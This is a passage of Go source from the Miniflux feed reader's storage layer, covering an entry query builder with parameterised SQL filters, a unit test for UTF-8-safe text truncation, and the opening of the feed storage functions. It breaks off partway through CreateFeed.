    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/lib/pq\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/timezone\"\n)\n\n// EntryQueryBuilder builds a SQL query to fetch entries.\ntype EntryQueryBuilder struct {\n\tstore           *Storage\n\targs            []any\n\tconditions      []string\n\tsortExpressions []string\n\tlimit           int\n\toffset          int\n\tfetchEnclosures bool\n}\n\n// WithEnclosures fetches enclosures for each entry.\nfunc (e *EntryQueryBuilder) WithEnclosures() *EntryQueryBuilder {\n\te.fetchEnclosures = true\n\treturn e\n}\n\n// WithSearchQuery adds full-text search query to the condition.\nfunc (e *EntryQueryBuilder) WithSearchQuery(query string) *EntryQueryBuilder {\n\tif query != \"\" {\n\t\tnArgs := len(e.args) + 1\n\t\te.conditions = append(e.conditions, fmt.Sprintf(\"e.document_vectors @@ plainto_tsquery($%d)\", nArgs))\n\t\te.args = append(e.args, query)\n\n\t\t// 0.0000001 = 0.1 / (seconds_in_a_day)\n\t\te.WithSorting(\n\t\t\tfmt.Sprintf(\"ts_rank(document_vectors, plainto_tsquery($%d)) - extract (epoch from now() - published_at)::float * 0.0000001\", nArgs),\n\t\t\t\"DESC\",\n\t\t)\n\t}\n\treturn e\n}\n\n// WithStarred adds starred filter.\nfunc (e *EntryQueryBuilder) WithStarred(starred bool) *EntryQueryBuilder {\n\tif starred {\n\t\te.conditions = append(e.conditions, \"e.starred is true\")\n\t} else {\n\t\te.conditions = append(e.conditions, \"e.starred is false\")\n\t}\n\treturn e\n}\n\n// BeforeChangedDate adds a condition < changed_at\nfunc (e *EntryQueryBuilder) BeforeChangedDate(date time.Time) *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"e.changed_at < $\"+strconv.Itoa(len(e.args)+1))\n\te.args = append(e.args, date)\n\treturn e\n}\n\n// AfterChangedDate adds a condition > changed_at\nfunc (e *EntryQueryBuilder) AfterChangedDate(date time.Time) *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"e.changed_at > $\"+strconv.Itoa(len(e.args)+1))\n\te.args = append(e.args, date)\n\treturn e\n}\n\n// BeforePublishedDate adds a condition < published_at\nfunc (e *EntryQueryBuilder) BeforePublishedDate(date time.Time) *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"e.published_at < $\"+strconv.Itoa(len(e.args)+1))\n\te.args = append(e.args, date)\n\treturn e\n}\n\n// AfterPublishedDate adds a condition > published_at\nfunc (e *EntryQueryBuilder) AfterPublishedDate(date time.Time) *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"e.published_at > $\"+strconv.Itoa(len(e.args)+1))\n\te.args = append(e.args, date)\n\treturn e\n}\n\n// BeforeEntryID adds a condition < entryID.\nfunc (e *EntryQueryBuilder) BeforeEntryID(entryID int64) *EntryQueryBuilder {\n\tif entryID != 0 {\n\t\te.conditions = append(e.conditions, \"e.id < $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, entryID)\n\t}\n\treturn e\n}\n\n// AfterEntryID adds a condition > entryID.\nfunc (e *EntryQueryBuilder) AfterEntryID(entryID int64) *EntryQueryBuilder {\n\tif entryID != 0 {\n\t\te.conditions = append(e.conditions, \"e.id > $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, entryID)\n\t}\n\treturn e\n}\n\n// WithEntryIDs filter by entry IDs.\nfunc (e *EntryQueryBuilder) WithEntryIDs(entryIDs []int64) *EntryQueryBuilder {\n\te.conditions = append(e.conditions, fmt.Sprintf(\"e.id = ANY($%d)\", len(e.args)+1))\n\te.args = append(e.args, pq.Int64Array(entryIDs))\n\treturn e\n}\n\n// WithEntryID filter by entry ID.\nfunc (e *EntryQueryBuilder) WithEntryID(entryID int64) *EntryQueryBuilder {\n\tif entryID != 0 {\n\t\te.conditions = append(e.conditions, \"e.id = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, entryID)\n\t}\n\treturn e\n}\n\n// WithFeedID filter by feed ID.\nfunc (e *EntryQueryBuilder) WithFeedID(feedID int64) *EntryQueryBuilder {\n\tif feedID > 0 {\n\t\te.conditions = append(e.conditions, \"e.feed_id = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, feedID)\n\t}\n\treturn e\n}\n\n// WithCategoryID filter by category ID.\nfunc (e *EntryQueryBuilder) WithCategoryID(categoryID int64) *EntryQueryBuilder {\n\tif categoryID > 0 {\n\t\te.conditions = append(e.conditions, \"f.category_id = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, categoryID)\n\t}\n\treturn e\n}\n\n// WithStatus filter by entry status.\nfunc (e *EntryQueryBuilder) WithStatus(status string) *EntryQueryBuilder {\n\tif status != \"\" {\n\t\te.conditions = append(e.conditions, \"e.status = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, status)\n\t}\n\treturn e\n}\n\n// WithStatuses filter by a list of entry statuses.\nfunc (e *EntryQueryBuilder) WithStatuses(statuses []string) *EntryQueryBuilder {\n\tif len(statuses) > 0 {\n\t\te.conditions = append(e.conditions, fmt.Sprintf(\"e.status = ANY($%d)\", len(e.args)+1))\n\t\te.args = append(e.args, pq.StringArray(statuses))\n\t}\n\treturn e\n}\n\n// WithTags filter by a list of entry tags.\nfunc (e *EntryQueryBuilder) WithTags(tags []string) *EntryQueryBuilder {\n\tif len(tags) > 0 {\n\t\tfor _, cat := range tags {\n\t\t\te.conditions = append(e.conditions, fmt.Sprintf(\"LOWER($%d) = ANY(LOWER(e.tags::text)::text[])\", len(e.args)+1))\n\t\t\te.args = append(e.args, cat)\n\t\t}\n\t}\n\treturn e\n}\n\n// WithoutStatus set the entry status that should not be returned.\nfunc (e *EntryQueryBuilder) WithoutStatus(status string) *EntryQueryBuilder {\n\tif status != \"\" {\n\t\te.conditions = append(e.conditions, \"e.status <> $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, status)\n\t}\n\treturn e\n}\n\n// WithShareCode set the entry share code.\nfunc (e *EntryQueryBuilder) WithShareCode(shareCode string) *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"e.share_code = $\"+strconv.Itoa(len(e.args)+1))\n\te.args = append(e.args, shareCode)\n\treturn e\n}\n\n// WithShareCodeNotEmpty adds a filter for non-empty share code.\nfunc (e *EntryQueryBuilder) WithShareCodeNotEmpty() *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"e.share_code <> ''\")\n\treturn e\n}\n\n// WithSorting add a sort expression.\nfunc (e *EntryQueryBuilder) WithSorting(column, direction string) *EntryQueryBuilder {\n\te.sortExpressions = append(e.sortExpressions, column+\" \"+direction)\n\treturn e\n}\n\n// WithLimit set the limit.\nfunc (e *EntryQueryBuilder) WithLimit(limit int) *EntryQueryBuilder {\n\tif limit > 0 {\n\t\te.limit = limit\n\t}\n\treturn e\n}\n\n// WithOffset set the offset.\nfunc (e *EntryQueryBuilder) WithOffset(offset int) *EntryQueryBuilder {\n\tif offset > 0 {\n\t\te.offset = offset\n\t}\n\treturn e\n}\n\nfunc (e *EntryQueryBuilder) WithGloballyVisible() *EntryQueryBuilder {\n\te.conditions = append(e.conditions, \"c.hide_globally IS FALSE\")\n\te.conditions = append(e.conditions, \"f.hide_globally IS FALSE\")\n\treturn e\n}\n\n// CountEntries count the number of entries that match the condition.\nfunc (e *EntryQueryBuilder) CountEntries() (count int, err error) {\n\tquery := `\n\t\tSELECT count(*)\n\t\tFROM entries e\n\t\t\tJOIN feeds f ON f.id = e.feed_id\n\t\t\tJOIN categories c ON c.id = f.category_id\n\t\tWHERE ` + e.buildCondition()\n\n\terr = e.store.db.QueryRow(query, e.args...).Scan(&count)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"store: unable to count entries: %v\", err)\n\t}\n\n\treturn count, nil\n}\n\n// GetEntry returns a single entry that match the condition.\nfunc (e *EntryQueryBuilder) GetEntry() (*model.Entry, error) {\n\te.limit = 1\n\tentries, err := e.GetEntries()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(entries) != 1 {\n\t\treturn nil, nil\n\t}\n\n\tentries[0].Enclosures, err = e.store.GetEnclosures(entries[0].ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn entries[0], nil\n}\n\n// GetEntries returns a list of entries that match the condition.\nfunc (e *EntryQueryBuilder) GetEntries() (model.Entries, error) {\n\tquery := `\n\t\tSELECT\n\t\t\te.id,\n\t\t\te.user_id,\n\t\t\te.feed_id,\n\t\t\te.hash,\n\t\t\te.published_at at time zone u.timezone,\n\t\t\te.title,\n\t\t\te.url,\n\t\t\te.comments_url,\n\t\t\te.author,\n\t\t\te.share_code,\n\t\t\te.content,\n\t\t\te.status,\n\t\t\te.starred,\n\t\t\te.reading_time,\n\t\t\te.created_at,\n\t\t\te.changed_at,\n\t\t\te.tags,\n\t\t\tf.title as feed_title,\n\t\t\tf.feed_url,\n\t\t\tf.site_url,\n\t\t\tf.description,\n\t\t\tf.checked_at,\n\t\t\tf.category_id,\n\t\t\tc.title as category_title,\n\t\t\tc.hide_globally as category_hidden,\n\t\t\tf.scraper_rules,\n\t\t\tf.rewrite_rules,\n\t\t\tf.crawler,\n\t\t\tf.user_agent,\n\t\t\tf.cookie,\n\t\t\tf.hide_globally,\n\t\t\tf.no_media_player,\n\t\t\tf.webhook_url,\n\t\t\tfi.icon_id,\n\t\t\ti.external_id AS icon_external_id,\n\t\t\tu.timezone\n\t\tFROM\n\t\t\tentries e\n\t\tLEFT JOIN\n\t\t\tfeeds f ON f.id=e.feed_id\n\t\tLEFT JOIN\n\t\t\tcategories c ON c.id=f.category_id\n\t\tLEFT JOIN\n\t\t\tfeed_icons fi ON fi.feed_id=f.id\n\t\tLEFT JOIN\n\t\t\ticons i ON i.id=fi.icon_id\n\t\tLEFT JOIN\n\t\t\tusers u ON u.id=e.user_id\n\t\tWHERE ` + e.buildCondition() + \" \" + e.buildSorting()\n\n\trows, err := e.store.db.Query(query, e.args...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"store: unable to get entries: %v\", err)\n\t}\n\tdefer rows.Close()\n\n\tentries := make(model.Entries, 0)\n\tentryMap := make(map[int64]*model.Entry)\n\tvar entryIDs []int64\n\n\tfor rows.Next() {\n\t\tvar iconID sql.NullInt64\n\t\tvar externalIconID sql.NullString\n\t\tvar tz string\n\n\t\tentry := model.NewEntry()\n\n\t\terr := rows.Scan(\n\t\t\t&entry.ID,\n\t\t\t&entry.UserID,\n\t\t\t&entry.FeedID,\n\t\t\t&entry.Hash,\n\t\t\t&entry.Date,\n\t\t\t&entry.Title,\n\t\t\t&entry.URL,\n\t\t\t&entry.CommentsURL,\n\t\t\t&entry.Author,\n\t\t\t&entry.ShareCode,\n\t\t\t&entry.Content,\n\t\t\t&entry.Status,\n\t\t\t&entry.Starred,\n\t\t\t&entry.ReadingTime,\n\t\t\t&entry.CreatedAt,\n\t\t\t&entry.ChangedAt,\n\t\t\tpq.Array(&entry.Tags),\n\t\t\t&entry.Feed.Title,\n\t\t\t&entry.Feed.FeedURL,\n\t\t\t&entry.Feed.SiteURL,\n\t\t\t&entry.Feed.Description,\n\t\t\t&entry.Feed.CheckedAt,\n\t\t\t&entry.Feed.Category.ID,\n\t\t\t&entry.Feed.Category.Title,\n\t\t\t&entry.Feed.Category.HideGlobally,\n\t\t\t&entry.Feed.ScraperRules,\n\t\t\t&entry.Feed.RewriteRules,\n\t\t\t&entry.Feed.Crawler,\n\t\t\t&entry.Feed.UserAgent,\n\t\t\t&entry.Feed.Cookie,\n\t\t\t&entry.Feed.HideGlobally,\n\t\t\t&entry.Feed.NoMediaPlayer,\n\t\t\t&entry.Feed.WebhookURL,\n\t\t\t&iconID,\n\t\t\t&externalIconID,\n\t\t\t&tz,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"store: unable to fetch entry row: %v\", err)\n\t\t}\n\n\t\tif iconID.Valid && externalIconID.Valid && externalIconID.String != \"\" {\n\t\t\tentry.Feed.Icon.FeedID = entry.FeedID\n\t\t\tentry.Feed.Icon.IconID = iconID.Int64\n\t\t\tentry.Feed.Icon.ExternalIconID = externalIconID.String\n\t\t} else {\n\t\t\tentry.Feed.Icon.IconID = 0\n\t\t}\n\n\t\t// Make sure that timestamp fields contain timezone information (API)\n\t\tentry.Date = timezone.Convert(tz, entry.Date)\n\t\tentry.CreatedAt = timezone.Convert(tz, entry.CreatedAt)\n\t\tentry.ChangedAt = timezone.Convert(tz, entry.ChangedAt)\n\t\tentry.Feed.CheckedAt = timezone.Convert(tz, entry.Feed.CheckedAt)\n\n\t\tentry.Feed.ID = entry.FeedID\n\t\tentry.Feed.UserID = entry.UserID\n\t\tentry.Feed.Icon.FeedID = entry.FeedID\n\t\tentry.Feed.Category.UserID = entry.UserID\n\n\t\tentries = append(entries, entry)\n\t\tentryMap[entry.ID] = entry\n\t\tentryIDs = append(entryIDs, entry.ID)\n\t}\n\n\tif e.fetchEnclosures && len(entryIDs) > 0 {\n\t\tenclosures, err := e.store.GetEnclosuresForEntries(entryIDs)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"store: unable to fetch enclosures: %w\", err)\n\t\t}\n\n\t\tfor entryID, entryEnclosures := range enclosures {\n\t\t\tif entry, exists := entryMap[entryID]; exists {\n\t\t\t\tentry.Enclosures = entryEnclosures\n\t\t\t}\n\t\t}\n\t}\n\n\treturn entries, nil\n}\n\n// GetEntryIDs returns a list of entry IDs that match the condition.\nfunc (e *EntryQueryBuilder) GetEntryIDs() ([]int64, error) {\n\tquery := `\n\t\tSELECT\n\t\t\te.id\n\t\tFROM\n\t\t\tentries e\n\t\tLEFT JOIN\n\t\t\tfeeds f\n\t\tON\n\t\t\tf.id=e.feed_id\n\t\tWHERE ` + e.buildCondition() + \" \" + e.buildSorting()\n\n\trows, err := e.store.db.Query(query, e.args...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"store: unable to get entries: %v\", err)\n\t}\n\tdefer rows.Close()\n\n\tvar entryIDs []int64\n\tfor rows.Next() {\n\t\tvar entryID int64\n\n\t\terr := rows.Scan(&entryID)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"store: unable to fetch entry row: %v\", err)\n\t\t}\n\n\t\tentryIDs = append(entryIDs, entryID)\n\t}\n\n\treturn entryIDs, nil\n}\n\nfunc (e *EntryQueryBuilder) buildCondition() string {\n\treturn strings.Join(e.conditions, \" AND \")\n}\n\nfunc (e *EntryQueryBuilder) buildSorting() string {\n\tvar parts string\n\n\tif len(e.sortExpressions) > 0 {\n\t\tparts += \" ORDER BY \" + strings.Join(e.sortExpressions, \", \")\n\t}\n\n\tif e.limit > 0 {\n\t\tparts += \" LIMIT \" + strconv.Itoa(e.limit)\n\t}\n\n\tif e.offset > 0 {\n\t\tparts += \" OFFSET \" + strconv.Itoa(e.offset)\n\t}\n\n\treturn parts\n}\n\n// NewEntryQueryBuilder returns a new EntryQueryBuilder.\nfunc NewEntryQueryBuilder(store *Storage, userID int64) *EntryQueryBuilder {\n\treturn &EntryQueryBuilder{\n\t\tstore:      store,\n\t\targs:       []any{userID},\n\t\tconditions: []string{\"e.user_id = $1\"},\n\t}\n}\n\n// NewAnonymousQueryBuilder returns a new EntryQueryBuilder suitable for anonymous users.\nfunc NewAnonymousQueryBuilder(store *Storage) *EntryQueryBuilder {\n\treturn &EntryQueryBuilder{\n\t\tstore: store,\n\t}\n}\n"
  },
  {
    "path": "internal/storage/entry_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage\n\nimport (\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestTruncateStringForTSVectorField(t *testing.T) {\n\tconst megabyte = 1024 * 1024\n\n\t// Test case 1: Short Chinese text should not be truncated\n\tshortText := \"这是一个简短的中文测试文本\"\n\tresult := truncateStringForTSVectorField(shortText, megabyte)\n\tif result != shortText {\n\t\tt.Errorf(\"Short text should not be truncated, got %s\", result)\n\t}\n\n\t// Test case 2: Long Chinese text should be truncated to stay under 1MB\n\t// Generate a long Chinese string that would exceed 1MB\n\tchineseChar := \"汉\"\n\tlongText := strings.Repeat(chineseChar, megabyte/len(chineseChar)+1000) // Ensure it exceeds 1MB\n\n\tresult = truncateStringForTSVectorField(longText, megabyte)\n\n\t// Verify the result is under 1MB\n\tif len(result) >= megabyte {\n\t\tt.Errorf(\"Truncated text should be under 1MB, got %d bytes\", len(result))\n\t}\n\n\t// Verify the result is still valid UTF-8 and doesn't cut in the middle of a character\n\tif !strings.HasPrefix(longText, result) {\n\t\tt.Error(\"Truncated text should be a prefix of original text\")\n\t}\n\n\t// Test case 3: Text exactly at limit should not be truncated\n\tlimitText := strings.Repeat(\"a\", megabyte-1)\n\tresult = truncateStringForTSVectorField(limitText, megabyte)\n\tif result != limitText {\n\t\tt.Error(\"Text under limit should not be truncated\")\n\t}\n\n\t// Test case 4: Mixed Chinese and ASCII text\n\tmixedText := strings.Repeat(\"测试Test汉字\", megabyte/20) // Create large mixed text\n\tresult = truncateStringForTSVectorField(mixedText, megabyte)\n\n\tif len(result) >= megabyte {\n\t\tt.Errorf(\"Mixed text should be truncated under 1MB, got %d bytes\", len(result))\n\t}\n\n\t// Verify no broken UTF-8 sequences\n\tif !strings.HasPrefix(mixedText, result) {\n\t\tt.Error(\"Truncated mixed text should be a valid prefix\")\n\t}\n\n\t// Test case 5: Large text ending with ASCII characters\n\tasciiSuffix := strings.Repeat(\"a\", megabyte-100) + strings.Repeat(\"测试\", 50) + \"abcdef\"\n\tresult = truncateStringForTSVectorField(asciiSuffix, megabyte)\n\n\tif len(result) >= megabyte {\n\t\tt.Errorf(\"ASCII suffix text should be truncated under 1MB, got %d bytes\", len(result))\n\t}\n\n\t// Should end with ASCII character\n\tif !strings.HasPrefix(asciiSuffix, result) {\n\t\tt.Error(\"Truncated ASCII suffix text should be a valid prefix\")\n\t}\n\n\t// Test case 6: Large ASCII text to cover ASCII branch in UTF-8 detection\n\tlargeAscii := strings.Repeat(\"abcdefghijklmnopqrstuvwxyz\", megabyte/26+1000)\n\tresult = truncateStringForTSVectorField(largeAscii, megabyte)\n\n\tif len(result) >= megabyte {\n\t\tt.Errorf(\"Large ASCII text should be truncated under 1MB, got %d bytes\", len(result))\n\t}\n\n\t// Should be a prefix\n\tif !strings.HasPrefix(largeAscii, result) {\n\t\tt.Error(\"Truncated ASCII text should be a valid prefix\")\n\t}\n\n\t// Test case 7: Edge case - string that would trigger the fallback\n\t// Create a pathological case: all continuation bytes without start bytes\n\t// This should trigger the fallback because there are no valid UTF-8 boundaries\n\tinvalidBytes := make([]byte, megabyte)\n\tfor i := range invalidBytes {\n\t\tinvalidBytes[i] = 0x80 // Continuation byte without start byte\n\t}\n\tresult = truncateStringForTSVectorField(string(invalidBytes), megabyte)\n\n\t// Should return empty string as fallback\n\tif result != \"\" {\n\t\tt.Errorf(\"Invalid UTF-8 continuation bytes should return empty string, got %d bytes\", len(result))\n\t}\n}\n"
  },
  {
    "path": "internal/storage/feed.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"sort\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\ntype byStateAndName struct{ f model.Feeds }\n\nfunc (l byStateAndName) Len() int      { return len(l.f) }\nfunc (l byStateAndName) Swap(i, j int) { l.f[i], l.f[j] = l.f[j], l.f[i] }\nfunc (l byStateAndName) Less(i, j int) bool {\n\t// disabled test first, since we don't care about errors if disabled\n\tif l.f[i].Disabled != l.f[j].Disabled {\n\t\treturn l.f[j].Disabled\n\t}\n\tif l.f[i].ParsingErrorCount != l.f[j].ParsingErrorCount {\n\t\treturn l.f[i].ParsingErrorCount > l.f[j].ParsingErrorCount\n\t}\n\tif l.f[i].UnreadCount != l.f[j].UnreadCount {\n\t\treturn l.f[i].UnreadCount > l.f[j].UnreadCount\n\t}\n\treturn l.f[i].Title < l.f[j].Title\n}\n\n// FeedExists checks if the given feed exists.\nfunc (s *Storage) FeedExists(userID, feedID int64) bool {\n\tvar result bool\n\tquery := `SELECT true FROM feeds WHERE user_id=$1 AND id=$2 LIMIT 1`\n\ts.db.QueryRow(query, userID, feedID).Scan(&result)\n\treturn result\n}\n\n// CheckedAt returns when the feed was last checked.\nfunc (s *Storage) CheckedAt(userID, feedID int64) (time.Time, error) {\n\tvar result time.Time\n\tquery := `SELECT checked_at FROM feeds WHERE user_id=$1 AND id=$2 LIMIT 1`\n\terr := s.db.QueryRow(query, userID, feedID).Scan(&result)\n\tif err != nil {\n\t\treturn time.Now(), err\n\t}\n\treturn result, nil\n}\n\n// CategoryFeedExists returns true if the given feed exists that belongs to the given category.\nfunc (s *Storage) CategoryFeedExists(userID, categoryID, feedID int64) bool {\n\tvar result bool\n\tquery := `SELECT true FROM feeds WHERE user_id=$1 AND category_id=$2 AND id=$3 LIMIT 1`\n\ts.db.QueryRow(query, userID, categoryID, feedID).Scan(&result)\n\treturn result\n}\n\n// FeedURLExists checks if feed URL already exists.\nfunc (s *Storage) FeedURLExists(userID int64, feedURL string) bool {\n\tvar result bool\n\tquery := `SELECT true FROM feeds WHERE user_id=$1 AND feed_url=$2 LIMIT 1`\n\ts.db.QueryRow(query, userID, feedURL).Scan(&result)\n\treturn result\n}\n\n// AnotherFeedURLExists checks if the user a duplicated feed.\nfunc (s *Storage) AnotherFeedURLExists(userID, feedID int64, feedURL string) bool {\n\tvar result bool\n\tquery := `SELECT true FROM feeds WHERE id <> $1 AND user_id=$2 AND feed_url=$3 LIMIT 1`\n\ts.db.QueryRow(query, feedID, userID, feedURL).Scan(&result)\n\treturn result\n}\n\n// CountAllFeeds returns the number of feeds in the database.\nfunc (s *Storage) CountAllFeeds() map[string]int64 {\n\trows, err := s.db.Query(`SELECT disabled, count(*) FROM feeds GROUP BY disabled`)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tdefer rows.Close()\n\n\tresults := map[string]int64{\n\t\t\"enabled\":  0,\n\t\t\"disabled\": 0,\n\t\t\"total\":    0,\n\t}\n\n\tfor rows.Next() {\n\t\tvar disabled bool\n\t\tvar count int64\n\n\t\tif err := rows.Scan(&disabled, &count); err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif disabled {\n\t\t\tresults[\"disabled\"] = count\n\t\t} else {\n\t\t\tresults[\"enabled\"] = count\n\t\t}\n\t}\n\n\tresults[\"total\"] = results[\"disabled\"] + results[\"enabled\"]\n\treturn results\n}\n\n// CountUserFeedsWithErrors returns the number of feeds with parsing errors that belong to the given user.\nfunc (s *Storage) CountUserFeedsWithErrors(userID int64) int {\n\tpollingParsingErrorLimit := config.Opts.PollingParsingErrorLimit()\n\tif pollingParsingErrorLimit <= 0 {\n\t\tpollingParsingErrorLimit = 1\n\t}\n\tquery := `SELECT count(*) FROM feeds WHERE user_id=$1 AND parsing_error_count >= $2`\n\tvar result int\n\terr := s.db.QueryRow(query, userID, pollingParsingErrorLimit).Scan(&result)\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\treturn result\n}\n\n// CountAllFeedsWithErrors returns the number of feeds with parsing errors.\nfunc (s *Storage) CountAllFeedsWithErrors() int {\n\tpollingParsingErrorLimit := config.Opts.PollingParsingErrorLimit()\n\tif pollingParsingErrorLimit <= 0 {\n\t\tpollingParsingErrorLimit = 1\n\t}\n\tquery := `SELECT count(*) FROM feeds WHERE parsing_error_count >= $1`\n\tvar result int\n\terr := s.db.QueryRow(query, pollingParsingErrorLimit).Scan(&result)\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\treturn result\n}\n\n// Feeds returns all feeds that belongs to the given user.\nfunc (s *Storage) Feeds(userID int64) (model.Feeds, error) {\n\tbuilder := NewFeedQueryBuilder(s, userID)\n\tbuilder.WithSorting(model.DefaultFeedSorting, model.DefaultFeedSortingDirection)\n\treturn builder.GetFeeds()\n}\n\nfunc getFeedsSorted(builder *feedQueryBuilder) (model.Feeds, error) {\n\tresult, err := builder.GetFeeds()\n\tif err == nil {\n\t\tsort.Sort(byStateAndName{result})\n\t\treturn result, nil\n\t}\n\treturn result, err\n}\n\n// FeedsWithCounters returns all feeds of the given user with counters of read and unread entries.\nfunc (s *Storage) FeedsWithCounters(userID int64) (model.Feeds, error) {\n\tbuilder := NewFeedQueryBuilder(s, userID)\n\tbuilder.WithCounters()\n\tbuilder.WithSorting(model.DefaultFeedSorting, model.DefaultFeedSortingDirection)\n\treturn getFeedsSorted(builder)\n}\n\n// FetchCounters returns read and unread count.\nfunc (s *Storage) FetchCounters(userID int64) (model.FeedCounters, error) {\n\tbuilder := NewFeedQueryBuilder(s, userID)\n\tbuilder.WithCounters()\n\treads, unreads, err := builder.fetchFeedCounter()\n\treturn model.FeedCounters{ReadCounters: reads, UnreadCounters: unreads}, err\n}\n\n// FeedsByCategoryWithCounters returns all feeds of the given user/category with counters of read and unread entries.\nfunc (s *Storage) FeedsByCategoryWithCounters(userID, categoryID int64) (model.Feeds, error) {\n\tbuilder := NewFeedQueryBuilder(s, userID)\n\tbuilder.WithCategoryID(categoryID)\n\tbuilder.WithCounters()\n\tbuilder.WithSorting(model.DefaultFeedSorting, model.DefaultFeedSortingDirection)\n\treturn getFeedsSorted(builder)\n}\n\n// WeeklyFeedEntryCount returns the weekly entry count for a feed.\nfunc (s *Storage) WeeklyFeedEntryCount(userID, feedID int64) (int, error) {\n\t// Calculate a virtual weekly count based on the average updating frequency.\n\t// This helps after just adding a high volume feed.\n\t// Return 0 when the 'count(*)' is zero(0) or one(1).\n\tquery := `\n\t\tSELECT\n\t\t\tCOALESCE(CAST(CEIL(\n\t\t\t\t(EXTRACT(epoch from interval '1 week'))\t/\n\t\t\t\tNULLIF((EXTRACT(epoch from (max(published_at)-min(published_at))/NULLIF((count(*)-1), 0) )), 0)\n\t\t\t) AS BIGINT), 0)\n\t\tFROM\n\t\t\tentries\n\t\tWHERE\n\t\t\tentries.user_id=$1 AND\n\t\t\tentries.feed_id=$2 AND\n\t\t\tentries.published_at >= now() - interval '1 week';\n\t`\n\n\tvar weeklyCount int\n\terr := s.db.QueryRow(query, userID, feedID).Scan(&weeklyCount)\n\n\tswitch {\n\tcase errors.Is(err, sql.ErrNoRows):\n\t\treturn 0, nil\n\tcase err != nil:\n\t\treturn 0, fmt.Errorf(`store: unable to fetch weekly count for feed #%d: %v`, feedID, err)\n\t}\n\n\treturn weeklyCount, nil\n}\n\n// FeedByID returns a feed by the ID.\nfunc (s *Storage) FeedByID(userID, feedID int64) (*model.Feed, error) {\n\tbuilder := NewFeedQueryBuilder(s, userID)\n\tbuilder.WithFeedID(feedID)\n\tfeed, err := builder.GetFeed()\n\n\tswitch {\n\tcase errors.Is(err, sql.ErrNoRows):\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(`store: unable to fetch feed #%d: %v`, feedID, err)\n\t}\n\n\treturn feed, nil\n}\n\n// CreateFeed creates a new feed.\nfunc (s *Storage) CreateFeed(feed *model.Feed) error {\n\tsql := `\n\t\tINSERT INTO feeds (\n\t\t\tfeed_url,\n\t\t\tsite_url,\n\t\t\ttitle,\n\t\t\tcategory_id,\n\t\t\tuser_id,\n\t\t\tetag_header,\n\t\t\tlast_modified_header,\n\t\t\tcrawler,\n\t\t\tuser_agent,\n\t\t\tcookie,\n\t\t\tusername,\n\t\t\tpassword,\n\t\t\tdisabled,\n\t\t\tscraper_rules,\n\t\t\trewrite_rules,\n\t\t\tblocklist_rules,\n\t\t\tkeeplist_rules,\n\t\t\tblock_filter_entry_rules,\n\t\t\tkeep_filter_entry_rules,\n\t\t\tignore_http_cache,\n\t\t\tallow_self_signed_certificates,\n\t\t\tfetch_via_proxy,\n\t\t\thide_globally,\n\t\t\turl_rewrite_rules,\n\t\t\tno_media_player,\n\t\t\tapprise_service_urls,\n\t\t\twebhook_url,\n\t\t\tdisable_http2,\n\t\t\tdescription,\n\t\t\tproxy_url,\n\t\t\tignore_entry_updates\n\t\t)\n\t\tVALUES\n\t\t\t($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25, $26, $27, $28, $29, $30, $31)\n\t\tRETURNING\n\t\t\tid\n\t`\n\terr := 